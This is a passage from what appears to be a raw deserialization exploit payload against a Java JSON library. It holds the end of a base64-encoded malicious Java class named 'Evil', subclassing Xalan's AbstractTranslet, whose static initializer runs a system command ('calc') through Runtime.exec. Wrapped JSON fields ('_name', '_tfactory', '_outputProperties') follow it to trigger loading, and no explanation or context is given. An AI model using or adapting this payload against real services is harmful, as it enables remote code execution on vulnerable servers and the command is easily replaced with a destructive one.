YXZhL2xhbmcvU3RyaW5nOwEACDxjbGluaXQ+AQABZQEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEADVN0YWNrTWFwVGFibGUHADsBAApTb3VyY2VGaWxlAQAJRXZpbC5qYXZhDAAiACMHAEEMAEIAQwEAD+aehOmAoOS7o+eggeWdlwcARAwARQAkAQAM5peg5Y+C5p6E6YCgAQAM5pyJ5Y+C5p6E6YCgAQAP6Z2Z5oCB5Luj56CB5Z2XBwBGDABHAEgBAARjYWxjDABJAEoBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAaamF2YS9sYW5nL1J1bnRpbWVFeGNlcHRpb24MACIASwEABEV2aWwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAGChMamF2YS9sYW5nL1Rocm93YWJsZTspVgAhAA4ADwAAAAAABQABABAAEQACABIAAAA/AAAAAwAAAAGxAAAAAgATAAAABgABAAAADgAUAAAAIAADAAAAAQAVABYAAAAAAAEAFwAYAAEAAAABABkAGgACABsAAAAEAAEAHAABABAAHQACABIAAABJAAAABAAAAAGxAAAAAgATAAAABgABAAAAEwAUAAAAKgAEAAAAAQAVABYAAAAAAAEAFwAYAAEAAAABAB4AHwACAAAAAQAgACEAAwAbAAAABAABABwAAQAiACMAAQASAAAASwACAAEAAAAVKrcAAbIAAhIDtgAEsgACEgW2AASxAAAAAgATAAAAEgAEAAAAIwAEACAADAAkABQAJQAUAAAADAABAAAAFQAVABYAAAABACIAJAABABIAAABVAAIAAgAAABUqtwABsgACEgO2AASyAAISBrYABLEAAAACABMAAAASAAQAAAApAAQAIAAMACoAFAArABQAAAAWAAIAAAAVABUAFgAAAAAAFQAlACYAAQAIACcAIwABABIAAAByAAMAAQAAAB+yAAISB7YABLgACBIJtgAKV6cADUu7AAxZKrcADb+xAAEACAARABQACwADABMAAAAaAAYAAAAWAAgAGAARABsAFAAZABUAGgAeAB0AFAAAAAwAAQAVAAkAKAApAAAAKgAAAAcAAlQHACsJAAEALAAAAAIALQ==\"],'_name':'xbb','_tfactory':{},\"_outputProperties\":{}}"}